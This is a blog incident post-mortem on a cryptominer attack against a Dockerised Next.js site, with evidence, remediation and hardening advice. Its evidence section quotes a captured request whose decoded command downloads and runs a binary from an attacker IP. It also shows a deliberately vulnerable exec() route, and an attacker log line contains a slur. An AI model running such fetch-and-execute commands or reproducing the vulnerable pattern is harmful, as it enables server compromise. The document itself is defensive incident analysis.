Security Incident Report: Cryptominer Attack on Next.js Application

Published: (December 12, 2025 at 11:46 PM EST)
4 min read
Source: Dev.to

Source: Dev.to

Introduction

On December 7‑8 2025, the Next.js portfolio application luisfaria.dev running on a DigitalOcean Ubuntu droplet was compromised by an automated cryptomining attack. An attacker executed remote code inside the Docker‑containerized Next.js app, deploying cryptocurrency miners that ran for several hours before being detected.

This document is a post‑mortem analysis and educational resource describing how the attack occurred, what was compromised, and how to prevent similar incidents.

Timeline

EventTime (UTC)
Attack started~December 7 21:52
DetectionDecember 8 ≈ 18:00 (unusual container behavior)
RemediationDecember 9 (full rebuild & investigation)
PostingDecember 10 (this document)

Attack Overview

  • Cryptominer deployment – Two mining processes (XXaFNLHK and runnv) ran for > 4 hours.
  • Resource exhaustion – CPU usage spiked, causing application timeouts.
  • Persistence attempts – Malware tried (and failed) to create systemd services.
  • Process spawning – 40+ zombie shell processes were created.
  • Nginx errors – Multiple “upstream timed out (110: Operation timed out)” messages.
  • Container unresponsiveness – Docker commands became extremely slow.
  • HTTP 499/504 errors – Requests failing or timing out.

Process Snapshot

docker compose exec webapp ps aux
PID   USER   TIME   COMMAND
1126  nextjs 4h24   ./XXaFNLHK          # Cryptominer #1
1456  nextjs 3h49   /tmp/runnv/runnv    # Cryptominer #2
40+   nextjs 0:00   [sh]                # Zombie shells

Evidence

Malicious HTTP Request

141.98.11.98 - POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20jew.arm7%3B%20wget%20http%3A%2F%2F78.142.18.92%2Fbins%2Fjew.arm7%3B%20chmod%20777%20jew.arm7%3B%20.%2Fjew.arm7%20tbk

Decoded command

cd /tmp; rm jew.arm7; wget http://78.142.18.92/bins/jew.arm7; chmod 777 jew.arm7; ./jew.arm7 tbk

This pattern matches a known IoT/router exploit that is being sprayed at internet‑facing servers. The Next.js application’s response indicates a code‑execution vulnerability.

Downloaded Files

PathDescription
/tmp/runnv/runnv8.3 MB binary – cryptominer
/tmp/runnv/config.jsonMining pool configuration
/tmp/alive.serviceSystemd persistence attempt (failed)
/tmp/lived.serviceSystemd persistence attempt (failed)
./XXaFNLHKSecondary miner binary

Attacker Infrastructure

  • 89.144.31.18 – Initial payload download server (x86 binary)
  • 78.142.18.92 – Secondary malware distribution server

Application Log Snippet

⨯ [Error: NEXT_REDIRECT] {
  digest: '12334\nmy nuts itch nigga\nMEOWWWWWWWWW'
}

The custom digest value suggests that an API route or Server Action was executing unsanitized user input, allowing the attacker to inject shell commands. The error was caught by Next.js, but the command had already run.

Example of Vulnerable Code

// VULNERABLE – DO NOT USE
export async function POST(request) {
  const { command } = await request.json();
  const { exec } = require('child_process');
  exec(command); // 🚨 Executes arbitrary commands
  return Response.json({ success: true });
}

Docker Security Assessment

What Docker Prevented

  • Miners could not write to /dev/ (permission denied).
  • Systemd services could not be installed (no systemd inside the container).
  • Filesystem access was limited to the container’s view.
  • The container was isolated from the host system.

What Docker Did Not Prevent

  • Arbitrary code execution inside the container.
  • High CPU consumption.
  • Outbound network connections to mining pools.
  • Writes to /tmp/ within the container.

Remediation Steps

  1. Stop the compromised container

    docker compose down
  2. Preserve forensic evidence

    docker logs frontend_app > ~/attack_logs.txt
    docker logs nginx_gateway > ~/nginx_logs.txt
  3. Rebuild from a clean source

    cd /var/www/portfolio
    git pull origin master --ff-only
    docker compose build --no-cache
    docker compose up -d
  4. Verify a clean state

    docker compose ps
    docker compose exec webapp ps aux   # No suspicious processes

Action Items

  • Audit all API routes for exec(), spawn(), eval(), or Function() usage.
  • Review Server Actions for proper input validation.
  • Run npm audit and update vulnerable dependencies.
  • Upgrade Next.js to the latest version (was 15.3.2).
  • Implement strict input sanitization on every user‑facing endpoint.

Search for Dangerous Functions

# Find dangerous functions in the codebase
grep -rE "exec|spawn|eval|Function\(" . \
  --include="*.js" --include="*.ts" \
  --exclude-dir=node_modules

Check for Unsanitized Server Actions

grep -r "use server" . --include="*.js" --include="*.ts"

Docker Hardening

Run as Non‑Root (already applied)

USER nextjs

Resource Limits

# docker‑compose.yml
deploy:
  resources:
    limits:
      cpus: '1.0'
      memory: 512M

Network Isolation

# docker‑compose.yml
networks:
  frontend:
    driver: bridge
  backend:
    driver: bridge
    internal: true   # No internet access for backend

Nginx Hardening

# Rate limiting to mitigate automated attacks
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;

server {
    location /api/ {
        limit_req zone=api burst=20 nodelay;
        # ... other directives ...
    }
}

Input Validation (Critical)

// SECURE CODE – never execute user input directly
import { z } from 'zod';

const schema = z.object({
  action: z.enum(['allowed', 'actions', 'only']),
  value:  z.string().max(100).regex(/^[a-zA-Z0-9]+$/)
});

export async function POST(request) {
  const body = await request.json();

  const result = schema.safeParse(body);
  if (!result.success) {
    return Response.json({ error: 'Invalid input' }, { status: 400 });
  }

  // Perform safe, predefined operations here
}

Monitoring & Alerting

  • Container resource monitoring

    docker stats frontend_app
  • Set up alerts for high CPU usage (e.g., Prometheus + Grafana).

CORS Configuration Update

// src/index.ts
const corsOptions = {
  origin: config.nodeEnv === 'production'
    ? ['https://luisfaria.dev']   // ✅ production domain
    : 'http://localhost:3000',
  credentials: true,
};

Summary Checklist

  • Never execute user input directly.
  • Apply strict input validation (Zod, Joi, etc.).
  • Run npm audit regularly for both frontend and backend.
  • Enforce least‑privilege containers (USER nextjs).
  • Set CPU & memory limits (Issue #34).
  • Implement network isolation between services (Issue #40).
  • Add Nginx rate limiting and security headers (Issue #33).
  • Harden input validation for all API routes (Issue #29).
  • Deploy monitoring & alerting for resource spikes (Issue #39).
  • Update CORS to allow only the production domain (Issue #32).
  • Keep Next.js and all dependencies up‑to‑date.
Back to Blog

Related posts

Read more »